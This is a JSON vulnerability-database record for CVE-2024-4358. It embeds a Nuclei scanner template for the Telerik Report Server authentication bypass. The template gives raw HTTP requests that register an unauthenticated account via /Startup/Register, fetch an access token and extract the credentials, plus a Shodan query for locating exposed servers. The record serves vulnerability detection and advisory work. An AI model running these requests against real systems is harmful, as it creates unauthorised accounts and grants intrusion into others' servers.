{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-4358/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-4358/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-4358/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-4358/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-4358/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-4358"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-4358"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-4358.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-4358\n\ninfo:\n  name: Progress Telerik Report Server - Authentication Bypass\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.\n  impact: An unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.\n  remediation: Updating to Report Server 2024 Q2 (10.1.24.514) or later.\n  reference:\n    - https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/\n    - https://github.com/sinsinology/CVE-2024-4358\n    - https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358\n  classification:\n    epss-score: 0.97482\n    epss-percentile: 0.99897\n    cpe: cpe:2.3:a:progress:telerik_report_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: title:\"Log in | Telerik Report Server\"\n    product: telerik_report_server\n    vendor: progress\n  tags: cve,cve2024,telerik,progress,auth-bypass,instrusive,kev,vkev,vuln\nvariables:\n  user: \"{{rand_base(6)}}\"\n  pass: \"{{rand_base(8)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n  firstname: \"{{rand_base(5)}}\"\n  lastname: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /Startup/Register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}\n\n      - |\n        POST /Token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        grant_type=password&username={{user}}&password={{pass}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type_2, \"application/json\")'\n          - 'contains_all(body_2, \"access_token\", \"userName\", \"token_type\")'\n          - 'status_code_2 == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: token\n        part: body_2\n        group: 1\n        regex:\n          - '\"access_token\":\"([A-Z0-9a-z_-]+)\"'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"Username: \"+ user'\n          - '\"Password: \"+ pass'\n# digest: 4a0a00473045022100dd22f8264ec7a83381ca3581881bf358afc8e8a06d3a3264c1885a01df51058d0220465f05fc6800ed9b3c9406e66704924b7ea35a61634bbcd60b95dc6ac89ac11c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-4358"
}